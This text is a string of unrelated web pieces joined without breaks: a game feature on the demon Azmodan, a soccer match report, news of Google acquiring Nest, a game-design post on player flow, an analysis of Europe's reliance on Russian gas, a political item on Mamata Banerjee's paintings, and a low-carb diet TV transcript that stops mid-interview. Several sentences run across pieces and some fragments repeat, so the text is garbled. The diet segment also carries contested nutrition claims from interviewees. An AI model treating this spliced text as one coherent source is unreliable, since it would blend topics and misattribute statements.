"I am Azmodan, the Lord of the Burning Hells!" Azmodan’s starting skin in Heroes of the Storm captures the very essence of this clever master of temptation! The history we know has been reimagined in Azmodan’s newest alternative skin. What if Gul’dan, the Betrayer of Orcs, had not only indulged in Mannoroth’s gift, but also Azmodan’s gift as well! Azmodan AzGul’dan - Gul'dan could feel the demon's blood coursing through his veins... Mannoroth's gift once set the orcs on their path, now Azmodan's gift would make them unstoppable. The original concept art for AzGul’dan Azmodan! Eager to show off your demonic mastery of Azmodan’s in-game? Once you reach Level 10, you’ll be able to purchase Azmodan’s Master Skin with Gold and take your rightful place as Lord of the Burning Hells and the Nexus! Master Azmodan - The Demon Lord Azmodan is no stranger to opulence and grandeur. In fact, greed and pride are among his favorite sins. Check out the video below for a closer look at six new skins that are currently in development for Heroes of the Storm, including Azmodan, Az'guldan Azmodan, and Master Azmodan!
"Cower before me, mortals!" - Azmodan, Lord of Sin Azmodan first appeared in-game in 2012 with the release of Diablo III, though he had been mentioned previously in the game manual for Diablo in 1996.
, though he had been mentioned previously in the game manual for Diablo in 1996. As with all the seven Evils, it is said that Azmodan originated from one of the seven heads of the great dragon, Tathamet, who was the embodiment of evil.
Azmodan lorded over the Realm of Sin, and for much of his existence, he held the desire to be the sole ruler of Hell.
He is by far the most charismatic and seductive of all the Evils. He takes pleasure in all things to every possible extreme. Azmodan loves vice in all its forms, but the truest gratification he derives is from the failures of others.
Azmodan is a master of temptation, of causing those who hold steadfastly to principles and beliefs to ultimately betray them.
During the Great Conflict, Azmodan once faced the archangel Tyrael on the field of battle. Tyrael bested him and stood ready to deal the final blow. However, one of Tyrael's comrades (Ardleon) called for aid and Tyrael rushed to lend aid. Azmodan thus escaped the angel's wrath.
“Azmodan created the demonic hellflyers after he nearly lost to Tyrael in battle thousands of years ago. The angels made glorious use of their great luminescent wings to outmaneuver the demon host and assail its commander. Frustrated by his near defeat, Azmodan began breeding winged demons capable of tearing the angels asunder.” — Deckard Cain
“Belial, Lord of Lies, is the most elusive of the seven Evils and is a master of deceit. It is said that he manipulated Azmodan into revolt against the Prime Evils. This began the Burning Hells' civil war, which ended with the Dark Exile of the Prime Evils to our mortal realm.” — Deckard Cain
“The Valrous manuscript lists Azmodan as the best battlefield commander of all demons, having defeated the angels many times in the Eternal Conflict across Pandemonium and the Prime Evils in the demonic civil war.” — Deckard Cain
Azmodan has seven powerful servants, each of them embodying a separate vice. These lieutenants helped him gain dominance over the Burning Hells. So far, the only known lieutenants are Cydaea, the Maiden of Lust (Azmodan's consort), and Ghom, the Lord of Gluttony.
It is said in the scrolls of Malzakam that Azmodan’s land in the Hells is the most densely populated—that it is a warped arena of myriad sins, of both great joy and despair, a place where garish perversions are indulged to the extreme. The scrolls also suggest that Azmodan’s den at first does not appear fearsome or disgusting, but rather looks to be a seductive warren that leads downward and downward through an increasingly labyrinthine harem. Here, sated to revulsion with all the pleasures of life, one descends rapidly into a perverse madness, without any hope of awakening one’s rotted soul.
While Azmodan is regarded as an "uncanny tactician," he possesses a degree of arrogance and overconfidence. Repeatedly, he taunted his nephalem opponents by telling them what next diabolical strategy he would use against them. While his tactic was intended to strike fear into the hearts of the nephalem, it in fact led to many of his plans being prematurely revealed, and ultimately, to his downfall.
Azmodan can be seen in the Diablo III The Black Soulstone Cinematic: "You thought you were so clever, that you had outwitted us all. One by one, our brethren fell into your trap, but not me. I defy you! I now know the Black Soulstone is the key, and it shall be mine. Soon, my armies shall pour forth from the Shattered Mountain, ravaging this world and all hope of resistance. My minions will find the stone, wherever you choose to hide it. Then, at long last, Azmodan shall reign as the Prime Evil." –Azmodan "Nephalem fool... When the soulstone is embedded in my flesh, the Seven shall be as one within me! I will be the sum of all Hells—the Prime Evil!” –Azmodan "Arrogant nephalem! My servants will feast on your pride as they devour your flesh!"–Azmodan
Azmodan’s villainy has left an undeniable mark on the Diablo universe. If you’re interested in learning more about the Lord of Sin, make sure to check out the following related content: Diablo (Game – 1996) (Azmodan appeared in the game’s manual.)
(Game – 1996) (Azmodan appeared in the game’s manual.) The Book of Cain (Novel – 2011)
(Novel – 2011) Diablo III (Game – 2012)
(Game – 2012) The Book of Tyrael (Novel – 2013) You can also feast your eyes on some official art and concepts featuring Azmodan below: Azmodan and Leah, as seen in the Diablo III Black Soulstone Cinematic Azmodan and Leah, as seen in the Diablo III Black Soulstone Cinematic Azmodan, as seen in game in Diablo III
"Kill me once, shame on you. Kill me twice… all part of my plan!"
We hope you’re enjoying our demon-filled Azmodan Hero Week! What aspect is your favorite indulgence so far, and what else are you looking forward to learning about the Lord of Sin? Let us know in the comments below!Armada FC Communications | Sept. 28, 2016
JACKSONVILLE, Fla. - Two teams arrived at Community First Park Wednesday evening looking to end six game winless streaks. However, after 90 minutes both walked away with a point.
The Armada (2W-7D-7L Fall, 3W-11D-12L Combined) created a flurry of chances and dominated possession heavily with a 61.9% edge. A defensively sound FC Edmonton (7W-5D-3L Fall, 12W-7D-6L Combined) proved to be up to the test as the night ended in stalemate.
“Everyone is getting more familiar with the system and the way that we want to play,” said interim head coach Mark Lowry. “There were a lot of cases tonight where we had some excellent passes and our guys were just a yard or two away from it. I think with a little more time together those chances will get converted into goals. I truly believe that”
Early on, Armada’s leading scorer Charles Eloundou piled on the pressure with several early chances, including in the 8th minute when he stripped the ball and fed Alhassane Keita for a 20 yard strike that Edmonton goalkeeper Matt VanOekel made easy work of. The combinations were the first of several dangerous attacks in what appears to be a budding relationship between the Armada’s two African strikers.
The half settled down into a back and forth contest with both sides exchanging shots, tackles and corresponding Yellow cards. Lucas Scaglia earned his fourth yellow card of the season for a tackle from behind on Dustin Corea in the 23rd minute.
FC Edmonton proved their worth throughout the match remaining solid at the back with the likes of Albert Watson, Pape Diakite and former Armada defender Shawn Nicklaw shutting down and clearing anything that the Armada front line threatened with.
Armada forward Zach Steinberger looked to create havoc in the midfield evading defenders to pass the ball out wide to Bryan Burke who hurdled cross after cross into the Eddies box, but was unable to convert on multiple attempts.
In one of Armada’s best chances of the evening, Mechack Jérôme stepped into a free kick in the 56th minute and belted it at VanOekel forcing the goalkeeper into a desperate diving save.
Despite a flurry of opportunities themselves, Edmonton only managed one shot on target in the first hour of play to Armada’s five on goal. Neither found the back of the net.
The Armada return to action when they head north to face Minnesota United FC at NSC Stadium in Blaine, Minnesota at 8 p.m. in what will be the two clubs final meeting in North American Soccer League competition.
MATCH REPORT:
Starting XI:
JAX (4-2-3-1): Gallardo, Bahner, Ruthven, Jerome, Johnson (Lagerblom 68’), Burke, George, Scaglia, Eloundou, Steinberger, Keita (Gebhard 82’)
FCE (4-1-4-1): VanOekel, Diakite, Watson, Ledgerwood (Raudales 82’), Fisk (Galvao 71’), Corea, Fordyce, Ameobi, Nicklaw, Shome (Di Biase 73’), Eckersley
Scoring Summary:
JAX: N/A
FCE: N/A
Discipline:
JAX: Scaglia (Caution 23')
FCE: Ledgerwood (Caution 35')
FCE: Ekersley (Caution 55')
FCE: Di Biase (Caution 90')FORTUNE — Google (GOOG) has agreed to acquire Nest Labs, the trendy maker of smart home appliances like thermostats and smoke detectors, for $3.2 billion in cash.
The deal comes just weeks after reports that Nest was raising around $150 million in new venture capital funding to be led by Yuri Milner’s DST Global, which apparently never happened (and possibly was never going to).
RELATED: Nest’s newest device? A smoke detector
Nest was founded in 2010 by Tony Fadell, a former Apple (AAPL) executive known for his design work on the original iPod.
“This decision wasn’t made on a whim – Google has been in the mix in some way or another for about three years of our almost four-year history,” Fadell explains in a blog post. “In fact, my first meeting with Google as a Nester was before we’d launched. At the 2011 TED Conference, Erik Charlton and I huddled in a corner with Sergey Brin to show him a video and an early model of the Nest Learning Thermostat – he instantly got what we were doing and so did the rest of the Google team when we showed them… I know that joining Google will be an easy transition because we’re partnering with a company that gets what we do and who we are at Nest –and wants us to stay that way.”
RELATED: Where Google Ventures is pinning its hopes
Google also was an existing Nest investor, having led the company’s second round of VC funding in early 2011 via its Google Ventures group.
To date, Nest had raised over $80 million in VC funding from Kleiner Perkins Caufield & Byers, Shasta Ventures, Venrock, Google Ventures, Lightspeed Venture Partners, Intertrust and Generation Investment Management. Kleiner Perkins is believed to be the company’s largest outside shareholder, with one source saying that it will generate around a 20x gross return on its investment.
Google reported $54.7 billion in cash as of its most recent quarterly report, meaning that this deal would represent around 5.8% of its cash on hand.
Below is an interview with Fadell from Fortune Brainstorm Green, from last May:
Sign up for Dan Primack’s daily email newsletter on deals and deal-makers: GetTermSheet.comThe Flow channel in games: Most of the work of a game designer is to be creative and come up with great game ideas. But sometimes, knowing about some interest studies can be very helpful in designing your games. One of the concepts that you should know for sure is the flow channel:
So what is the Flow channel? My personal definition of the Flow channel is: “The player comfort zone”. It’s when the player is feeling both powerful and successful. You as a game designer, must keep the player inside this flow as long as you can.
The Flow channel in deep:
The flow channel is what keeps the player focused on one activity, and as a game designer, you must be sure that your games are well balanced in order to keep the player inside the flow. Think about a boss fight. If the boss fight is too difficult, after a couple of try, the player will be anxious and soon will get frustrated. Otherwise if the boss fight is to easy, the player won’t feel challenged enough for the game and so he will eventually get bored.
So what the flow channel is telling us is to increase the difficulty gradually and in a balanced manner. One game that does that very well is God of War. In God of War you will always find an opponent of a new type and that gives you the feeling of a new boss fight every time. The player will always be forced to learn new ways to beat the opponent, and each time one is defeated, the player will have the feeling of power and skills mastering. Then, when you have learned how to beat an enemy, the game will force you to fight more than one at the time. This logic forces you to stay on the “flow channel” of the game.
Get out of the flow:
In some cases, the player should get out of the flow. Think again about one boss fight, every time you beat the boss you should have a few moments to relax, why is that? Because you’re giving the players the time to make them reflect on what they have accomplished so far.
From the book GAME DESIGN PROTOTYPE
“an optimal challenge, it’s also about giving her the understanding that she is getting better and granting her time to just be awesome. After a difficult fight, give the player some time to just be powerful. This encourages feelings of empowerment.”
Conclusion:
Most designers create their games without being conscious about the game flow, but this is one of the most important concepts to know, if the player will quit your game, it’s because you as a designer have not been able to keep the player inside the flow.
You must increase difficulty and challenges in each level and always keep the player focused to the actual challenge.WHEN Vladimir Putin was bribing Viktor Yanukovych, then the president of Ukraine, to turn down a trade deal with the European Union last year, one of the sweeteners was cheap gas. The copious Russian gas Ukraine burns through every year—it is a profligate user of energy—would be priced at just $268.5 per thousand cubic metres (tcm), which for 2013’s total of 28 billion cubic metres (bcm) works out at $7.5 billion. Since February’s revolution ousted Mr Yanukovych, gas has become a stick, not a carrot. On April 1st Alexei Miller, the chief executive of Russia’s gas giant, Gazprom, said that the price of Ukraine’s gas was going up by 44%, to $385.5 per tcm.
This is ominous news for Europe. Ukraine already owes Gazprom $1.7 billion, according to Mr Miller. If Ukraine continues not to pay its bills—and without outside help, it cannot—Gazprom can cut it off. Such a dispute need not, in principle, have any effect on the gas that flows through Ukraine to other countries farther west (see map). But if Gazprom reduces the flow of gas to reflect the fact that Ukraine no longer has a right to its 28bcm, and Ukraine takes some of that gas anyway, or if Gazprom shuts down the pipelines going through Ukraine completely, Europe’s supplies get hit. Europe gets 24% of its gas from Russia, and half of that—80bcm a year—passes through Ukraine. An argument between Russia and Ukraine led to the pipelines shutting down for two weeks in January 2009, to much consternation downstream.
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In the short term (weeks, or a few months) such a disruption would be less damaging now than it was then. But in the medium term (many months, or a few years) Europe remains highly vulnerable to Russian control over gas supplies. This vulnerability is one of the reasons why Mr Putin thinks Europe will not act decisively against him over the annexation of Crimea, or any further territorial depredations he may have in mind. But it is a vulnerability that can, over time, be decreased; and one which Russia would lose a lot by exploiting.
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At the moment, a lapse in supplies would see the seasons in Europe’s favour. European countries do not depend on Russian gas in the summer months (though they do refill their storage facilities with it then). And the mild winter just past means that those stores are unusually full. Richard Mallinson of Energy Aspects, a consultancy, says EU countries have 36bcm of gas in store, about 15bcm more than this time last year. They could store twice that; the EU’s total storage capacity is 75bcm.
It is a useful cushion, but a lumpy one. Some European countries have lots of storage: Latvia has at least a years’ worth. Others (Moldova, Macedonia) have none. Thus ways must be found to get gas from the places where it is stored to the people who need it. Europe’s pipeline grid is not particularly well suited for this. National gas companies have long disliked cross-border interconnectors; a free flow of gas means more choice for consumers and thus lower prices. But pressure from the EU—notably in the form of the “third energy package” of liberalisations—and a growing concern, since 2009, about the risks of relying on Russian gas mean that more interconnectors have now been built, along with pumps that can reverse the flow in transit pipelines.
Poland has been connected with the Czech Republic via the small Stork pipeline since 2011; work on a larger link, with a capacity of up to 10bcm, will start before 2017. Slovakia has just opened a pipeline to Hungary. Germany can now send gas to Italy, as well as to Poland and the Czech Republic. If the political will to provide mutual support is there—quite a big “if”, since it was not very apparent in 2009—the means to do so are better than they were.
Estonia, Latvia and Lithuania, though, are not connected to any source of gas save Russia. Work could start on an interconnector from Poland to Lithuania in 2018; until then Latvia’s abundant storage provides some insurance against strong-arming. Bulgaria also has a particular problem. It gets almost all its gas from a Russian pipeline that crosses Ukraine, and it has limited storage (less than two months’ consumption). It is hurrying to build interconnectors to Serbia and to a planned liquefied natural gas (LNG) terminal in Greece.
Even good interconnection is only a solution for as long as there are gas supplies to feed the interconnectors. If the gas ceased flowing through Ukraine, where might more be found after stores were depleted?
One answer is, surprisingly, Russia. If Russia were to shut down the pipelines across Ukraine with the principal aim of hurting Ukraine itself (though accepting mind-focusing discomfort downstream as an added bonus) it would probably continue exporting gas by other channels. One of them, the newish Nord Stream pipeline on the Baltic seabed, was to some extent built with this in mind; it was designed to get gas straight from Russia to Germany, and thus give Russia the option of cutting off its near neighbours while still serving its most important market.
Now interconnectors allow gas to flow south and east out of Germany, though, Nord Stream could be something of a boon—all the more so because, at the moment, only around 30bcm of its 55bcm a year capacity is used. Assuming regulatory and commercial issues were resolved, and that Russia was not actively seeking to make things worse, the other 25bcm could make up a good chunk of the shortfall if supplies through Ukraine were stopped.
Help is round the corner
Finding much more by way of replacement gas, though, would be hard. Perhaps 10bcm could come from Norway. Shares in Statoil, Norway’s state energy company, have jumped by 7% since the revolution in Ukraine, notes John Olaisen, an analyst at ABG Sundal Collier, a Norwegian bank. But the scope for further production inside the EU is limited. In the Netherlands public opinion wants the country to pump less gas, not more, because of worries about carbon emissions and a string of minor earthquakes associated with the depletion of the giant Groningen field. Britain’s gasfields are also depleting. North Africa has proved an unreliable supplier, beset by terrorist threats and other unrest. Italy’s imports from Libya, once a reliable supplier, were down by 11.9% in 2013; supplies from Algeria (where local demand is booming) were down by 40%.
What about gas from farther afield? Europe has the capacity to import a lot more LNG; its 2013 LNG imports, 45.7bcm, were much lower than the 2011 peak of 86.5bcm. The problem here is inelastic supply. The countries which export LNG cannot simply churn out more of the stuff; the plants which liquefy the gas cost billions of dollars, so they tend already to be running at full blast. And most of what they make they are already selling, at high prices, in Asia (see chart 1). Japan needs LNG to keep the lights on, having shut down its nuclear power plants after the Fukushima disaster. China is trying to burn less coal because of public anger at air pollution. Europe might be able to find another 10bcm of LNG, analysts reckon, but it would pay about twice what Russian pipeline gas currently costs.
There is also the option of generating electricity from coal instead of gas. But a knock-on effect of America’s shale-gas revolution is that it now exports cheap coal to the EU (this is in part why LNG imports have declined). Europe is already running most of its coal-fired stations at high capacity. There might be some slack, and there are also some mothballed stations that burn fuel oil, but there is no large pool of underused generating capacity.
Add all this together and you get around 50bcm. That means Europe would still face a 30bcm shortfall if supplies through Ukraine were cut off completely—just under half of Germany’s annual gas consumption. And even getting that far is possible only at the cost of perhaps $50 billion more spent on gas; bringing in a significant amount of LNG at Asian prices means other vendors not locked into long-term contracts will raise prices, too. Particularly cold winter weather would make things a lot worse. Given the continent’s 117 gigawatts (GW) of wind-turbine capacity, which has been growing at 10% a year, windy weather would improve matters.
Rather than face the economic pain that a 30bcm gas shortfall would impose, Europe’s leaders will focus on helping Ukraine pay its bill. This is one reason why prices for traded gas have barely budged since the crisis started. Sorting out the country’s notoriously murky energy sector will be high on the reform agenda (Ukraine still does not have meters at the points where the pipelines enter from Russia, making all discussions about quantity and price questionable). Cuts in the energy subsidies which lead Ukrainians to burn gas so wastefully are sure to be required in return for money from the IMF. Ukraine currently produces 20bcm of gas; if it were as efficient in its use as some countries are, it could be more or less self sufficient.
Europe will also seek to lessen its reliance on Russia in the longer term—a challenge made all the harder by the fact that current trends have gas demand going up in the decade to come. According to AT Kearney, a consultancy, imports are set to climb from 327bcm today to 413bcm in 2020.
Bigger, stronger
In March the EU’s heads of government told the commission to produce a plan in June for reducing energy dependence. That is likely to give a push to storage capacity and both more and larger interconnectors. It could strengthen requirements for countries to maintain a strategic gas reserve, and it ought to stress energy efficiency, too.
It will also look at new pipeline plans. An immediate casualty is likely to be Russia’s South Stream pipeline, which, like Nord Stream, was designed to reduce Gazprom’s export dependence on Ukraine. Due for completion in 2018, with a planned capacity of 63bcm, it has already fallen foul of EU competition rules, and EU disapproval could effectively scupper it. The corollary to spurning Russian gas piped through South Stream is favouring non-Russian schemes like the Trans-Adriatic Pipeline, due for completion by 2018, which will bring Europe 10-20bcm a year from the Caucasus via Turkey. An easing of sanctions on Iran could bring more gas from there by the same route.
Europe could also develop its shale-gas reserves (see map), though these are not the panacea enthusiasts would like to believe. The EU’s Joint Research Centre puts Europe’s technically recoverable unconventional-gas resource at 11,700bcm, about a quarter of America’s. But law, public opinion and a lack of drilling and exploration kit make European shale gas harder to get out. IHS, an energy consultancy, expects that by 2020 European shale production will only be 4bcm a year, compared with over 70bcm in America today. Conventional-gas production in Europe and its neighbouring seas could drop by ten times that over the same time.
Political excitement about the idea of America’s shale gas helping Europe out tends to overlook the practical difficulties. For a start, there are not yet any export facilities. Sabine Pass on the Texas-Louisiana border, with a capacity of up to 2bcm, will start pumping LNG only in 2015. Two dozen export applications are pending, though, and IHS reckons that a burst of projects coming online in 2018–20 will bring America’s total LNG export capacity to 66bcm by early in the next decade. That is appreciable, but hardly overwhelming in a world LNG market that might be 540bcm a year by that time, according to the International Energy Agency. And a significant part of that gas would be headed to high-price Asia, not just from plants on America’s Pacific coast but also from the Gulf, since from 2015 the new locks on the Panama Canal will enable it to take large LNG carriers.
All this depends on investors coming up with the money. But private-sector investors may be chary of putting money into costly terminals that risk not being used if Europe slips back into accepting more cheap Russian gas. And although the crisis in Ukraine has stoked America’s willingness to help allies, there is a domestic lobby that thinks restricting exports will keep prices at home low.
Technological change may help matters. The cost of import terminals that turn LNG into usable gas has fallen sharply, with customers now able to rent floating facilities when they need them, rather than building costly ones on land. Lithuania’s new $325m floating LNG terminal, the South-Korean-built, pointedly named Independence, will start work by the end of this year. In the longer term, liquefaction plants which use electric motors rather than huge turbines look set to reduce the size and capital costs of export terminals. That could bring much more LNG onto the market from offshore fields and remote places.
Since Europe uses 31% of its gas to make electricity (see chart 2), it is also possible to reduce reliance on Russia by changing generating technology. To some extent Europe’s push for renewables is already doing this. But at the moment renewables need fossil-fuel-fired capacity for backup, and gas is the fuel of choice. Better electricity interconnectors could reduce that need for gas by making it easier to export electricity from renewables-rich markets like Germany on sunny or windy days and to import it on dark or still ones. As with gas interconnectors, forging such links requires a pan-European push. And to make it work on a large scale will require new pricing strategies to recompense the owners of fossil-fuel plants pushed off the grid when renewable energy from other countries flows in.
Interconnectors can also help substitute one renewable for another. Hydro-power, like gas-fired power stations, can be turned on easily when the wind falters, but it is not evenly spread: Sweden and, particularly, Norway have a lot of it, Germany and Benelux not so much. There are currently plans for up to five new interconnectors from Norway to the EU to be built by 2020, with a capacity of up to 5GW (providing 5GW from gas plants would take around 10bcm a year). Norway could generate much more hydropower, given a market. And with better interconnectors, a lot more solar power could come up from the south—perhaps including north Africa.
Though making a real dent in Europe’s reliance on Russian gas will take political will, money and the best part of a decade, merely moving in that direction will shift the balance of power, because it will signal a fundamental truth: in the end, the Kremlin needs its European customers at least as much as they need Russian imports.
The avengers
Oil-and-gas exports make up 70% of Russia’s $515 billion annual exports, and 52% of the federal budget, according to America’s Energy Information Administration. Europe’s role as Russia’s largest gas market already gives it a certain strength, as can be seen in the increasingly hard-nosed way EU competition officials are taking on some of Gazprom’s practices.
Oil (unlike gas) is easy to store, ship and trade, which means a single customer has less scope for action. But to sell its oil easily, Russia needs access to the world financial system. Its companies need to borrow on the bond market, and want their shares traded on international exchanges. They also need to process payments in dollars (the currency in which almost all international energy transactions are priced).
This gives Europe and America considerable leverage, if they choose to exert it. Rosneft, Russia’s biggest oil company, would be badly damaged if it were to be delisted on the London and New York stock exchanges. Financial sanctions could also make it hard for Russia to sell its oil to third parties. Sanctions have hurt Iran not by stopping it getting oil to customers, but by stopping it from receiving payment (though Russia would be harder to isolate).
In theory, Russia’s gas exports to Europe are a weapon that points the other way. If Russia were to push farther into Ukraine, or to try its chances in Moldova, Georgia or the Baltic states, and Europe to take strong action in response, it could shut down exports completely, thus doing huge damage to the EU. But barring immediate, permanent and total victory, that would also doom Russia as a gas exporter. China already has worries about Russia’s dependability as a supplier. Even with $475 billion in foreign-exchange reserves, the Kremlin cannot continue to run Russia’s ramshackle and uncompetitive economy without its most important export revenues.
The shock of the Crimean annexation should speed up sluggish European decision-making on storage, interconnection, diversification, liberalisation, shale gas and efficiency. And though the decision-makers may detest Mr Putin, in private they will admit that he may thus have done them a favour. They already knew what to do. They just didn’t want to do it.West Bengal Chief Minister Mamata Banerjee put investment bankers and stock brokers to shame after she announced how much she is making of her paintings. On Sunday, campaigning for the Kolkata municipal polls, Didi said her paintings fetched Rs 9 crore. That’s a 450% growth from what she herself said barely 48 hours ago. On Friday, the amount was just Rs 2 crore. Whoa!
On Sunday Didi said, “Nearly 300 paintings of mine were sold in two or three exhibitions and Rs 9 crore was earned in total, each of them costing Rs 3 lakh. Besides, I have distributed nearly 600 paintings free of cost.” (sic)
Rewind to Friday.
In two or three exhibitions where around 250-300 paintings were showcased, we received Rs 2 crore something from the sale. None of my paintings sold for Rs 2 crore. Only one painting sold for Rs 20 lakh. There were some paintings that sold for between Rs 1 lakh and Rs 5 lakh.
– Mamata Banerjee to The Telegraph
It’s well known that Mamata fancies herself as a painter. It’s this avatar of Mamatadi that has drawn the CBI’s attention. Recently, the CBI sent a notice to the TMC, raising questions on the sale of the paintings and the party’s financial details between 2010 and 2014.
But, why are the sale of these paintings so important? It is believed that one of her “masterpieces” was sold for ₹ 1.8 crore, and the plucky buyer was none other than Sudipto Sen, chairman of the Saradha Group, who has been in police custody since April 2013 for his central role in the Saradha scam. Sudipta Sen, obviously, denies buying Mamata’s paintings.
While Didi figures out her priceless comments, it’s worth taking a second look at Mamata’s “fine” art. As is often said, a painting is a window to the painter’s heart -Majd Kayyal was arrested and held incommunicado by Israel’s Shin Bet. Arabs 48 |
or metabolic syndrome, we have people who generally are severely overweight, and there's some other conditions such as polycystic ovary syndrome in women, that is, they may not be overweight, they may not have diabetes, but is very responsive to carbohydrate restriction.
NARRATION
Professor Tim Crowe, a nutritionist from Deakin University, is concerned that this diet will eliminate healthy food groups.
Associate Professor Tim Crowe
A very extreme low-carb diet can be quite restrictive. So it cuts out a lot of foods, particularly a lot of wholegrain foods. And even fruit, that has to be cut out as well. These are really good healthy foods that we know reduce the long-term risk of chronic disease.
Dr Steve Phinney
For many people, wholegrains are an excellent source of energy and a healthful food. But when people become more insulin resistant, they have a difficult time disposing off those carbohydrates. We're not saying get rid of wholegrains in the diet, we're just saying reducing them in the most vulnerable fraction of the population that can't tolerate them.
NARRATION
But what about athletes? It's always been assumed that carbs are an essential fuel source for exercise. Professor Noakes has spent years as an exercise and sports scientist, preaching the benefits of carb loading before a big race, even published it in a widely popular book called the Lore Of Running.
Professor Tim Noakes
I spent 33 years of my life telling athletes that they must carbohydrate load, which meant that for the last three days before a marathon, you should eat 700 or 800g of carbohydrate. And I was the first in the world to produce these GUs that people lived their races on. So if you go to the Ironman, you'll see people taking GUs every half hour or so. So myself and Bruce Fordyce, who's the great South African ultramarathon runner, developed that product and I apologise because that was completely wrong.
NARRATION
He says in explosive events when you need a fast fuel source, then carbs will help. But for endurance athletes, you can last just as long by burning fat for fuel.
Professor Tim Noakes
Once the event lasts two or three hours, I don't see any advantage to carbohydrates, and then increasingly you'll burn fat. The more fat you eat in your diet, the more adapted you are. You can burn an enormous amount of fat if you're an elite athlete and easily cover really good performance running very fast, but you have to become fat-adapted.
NARRATION
A pioneering study on the performance of cyclists who were fat-adapted was done by Dr Phinney.
Dr Steve Phinney
My initial study on athletes done 30 years ago involved five bike racers who we controlled in a metabolic ward, fed them their usual diet for a week and tested their peak aerobic capacity and their endurance time to exhaustion.
NARRATION
The cyclists were then fed a very low carb-high fat diet for four weeks and their performance was retested.
Dr Steve Phinney
What that study demonstrated was if you give people at least four weeks to adapt, they come all the way back to their previous levels of performance and are able to do that in the absence of carbohydrates, and the reason they can do that appears to be because ketones replace much of the body's requirement for glucose.
NARRATION
Ketones become the alternative fuel source. They're produced when fat is being burnt for energy, and can be measured in the blood or urine. In this state, the person is said to be in ketosis. But are there risks?
Associate Professor Tim Crowe
Ketosis, we know the people that follow these diets in short term experience fatigue, lethargy, constipation. But ketosis, long term, we don't know if it causes any serious problems such as renal problems and so on. At the moment it seems to be fairly safe.
NARRATION
Dr Phinney has no doubt that burning fat for energy instead of carbs gives endurance athletes the winning edge.
Dr Steve Phinney
For athletes attempting to do prolonged endurance performance, if their body can be trained to use that fat as their predominant fuel, that fuel tank is more than ten times as big as the carbohydrate tank. That's why we see the ultra-endurance athletes not just winning races but setting records on low-carbohydrate diets.
Associate Professor Tim Crowe
Endurance wise, it actually makes sense to be using fat for your fuel tank, which is good for many hours, but when you need that high-power output to sprint to the finish line or to ride up the hill, as an athlete you actually fall behind, because that's when your body needs carbohydrates for maximum energy output and you don't get that.
NARRATION
Low-carbohydrate diets are naturally higher in fat.
Dr Maryanne Demasi
We've been so conditioned to fear fat that making it a large component of your diet is hard to wrap your head around. It certainly was for Australian cricketer Shane Watson.
Shane Watson
Everyone that had educated me about the way to eat and eat a low-fat diet meant that I had a fat phobia. I cut all the fat off my chicken, my meat, my bacon, everything. So I stayed away from butter, from cheese, stayed away from nuts, only a little bit of avocado, all the foods that are high in fat and high in energy. But in the end I was always very hungry because I was cutting all the fat out of my diet and was just loading up on carbs. Within an hour of eating I was always very hungry.
NARRATION
It took the personal experience of Australian Cricket Team doctor, Peter Brukner, to open Shane's eyes to a new way of eating.
Dr Peter Brukner
I had just turned 60, which was the age my father had developed type 2 diabetes. I was overweight. So I tested all my bloods before I went on this diet and then went on the diet for 12 weeks, lost 12kg. Easy as you like, eating low carb, high fat. So the old way our parents used to eat, you know, eggs and bacon, and butter and cream and milk and all those things that had been forbidden for 30 years, and stopped eating all the sugary things and pasta and rice and bread, all things that I've been eating and the weight just fell off. I was enjoying my food, I felt fantastic, my exercise capacity increased and I got to the end of that and I just couldn't believe it. Soon after that I went on tour, I had restarted my job with the cricket team, and the guys would be coming up to talk, 'Hey, what's happened?' Some of them in particular, Shane Watson and Mitchell Johnson, got very interested in the whole idea and decided they wanted to have a crack.
NARRATION
For the next 18 months, Shane went on the low-carb diet, while Dr Brukner monitored him closely.
Dr Peter Brukner
So your blood pressure is 133 over 66, which is excellent.
Dr Maryanne Demasi
Peter, how have Shane's medical records changed since being on the diet?
Dr Peter Brukner
Shane's always been one of these players who, despite high levels of exercise as an elite athlete, has always had a weight problem. Previously, the only way he could do it was really to starve himself. But since he's gone onto this diet, he's able to eat well, eat a large amount of saturated fat, his weight has been good. His skin folds, which is the way we measure the body fat - we measure that regularly in all the players - his skin folds have come down, so his body fat has come down. He's maintained his muscle mass. So he's also enjoying his food a lot more, he's much less grumpy than he used to be when he was dieting, and generally I think it's been a real positive thing as far as his wellbeing goes.
Shane Watson
My energy levels throughout the day have certainly improved, there's no doubt. Leading into a break, like lunch or tea, I'm certainly not as hungry as what I was. So energy's spread out really nicely throughout the whole day.
Dr Maryanne Demasi
When I first heard about restricting carbohydrates, Atkins Diet came to mind. How is this different to Atkins?
Dr Peter Brukner
Look, it's fairly similar. Atkins was low-carbohydrate. Atkins probably didn't emphasise the fat as much. So they probably had higher protein and not as much fat. I think the fat is really important. It's sort of hard to get your head around the fact that, you know, the more fat you eat, the more fat you lose. That's a very difficult paradigm. So there's a lot of people out there who struggle with that.
Professor Tim Noakes
The only way this is slightly different from Atkins is we we promote vegetables. Atkins wasn't really keen on vegetables, but his principles were the same - it was to cut out carbohydrates.
Dr Maryanne Demasi
Often when we hear about fat, it conjures up images of deep-fried chips and highly processed foods full of unhealthy trans fats. Well, this is different. It's real food full of natural fats, like coconut, cheese, eggs and fatty meats, even good old-fashioned butter.
Pete Evans
The best thing about this way of life is you don't have to calorie count, but...
NARRATION
Celebrity chef and vocal campaigner of low-carb diets, Pete Evans, says cooking with fat gets the best results.
Pete Evans
We know this, chefs know it - fat equals flavour. How good is that? We've got animal fat, and here we've got duck fat. But you could use beef tallow which is the fat from a cow. You could use lard, which is fat from a pig. You could use butter from the cow...
Dr Maryanne Demasi
All the things we've been told not to eat.
Pete Evans
Exactly. And my favourite, coconut oil, which is absolutely fantastic. * And you can eat it by the spoonful.
Dr Maryanne Demasi
I see bone marrow and liver, these are rather old-fashioned cuts of meat. We tend to go for the lean steaks nowadays.
Pete Evans
Yeah, exactly. What's interesting is our great-grandparents, they would've been eating marrow, heart, liver, brains, all of that because nothing ever used to go to waste. Because No.1, it's cheap. No.2, it's absolutely delicious and No.3, it's the most nutritious part of the animal that we can work with.
NARRATION
When restricting dietary carbs, people end up eating more fat, often saturated fat, which as been implicated in the development of heart disease.
Shane Watson
The first question I asked him was what about my arteries? Aren't I just gonna...? Isn't that fat that I'm eating just gonna go straight up and clog my arteries? And he made it very clear that that certainly wasn't the case.
Dr Maryanne Demasi
One of the concerns is that the diet is high in saturated fat which we're told raises cholesterol and causes heart disease. Are you concerned about Shane's cholesterol?
Dr Peter Brukner
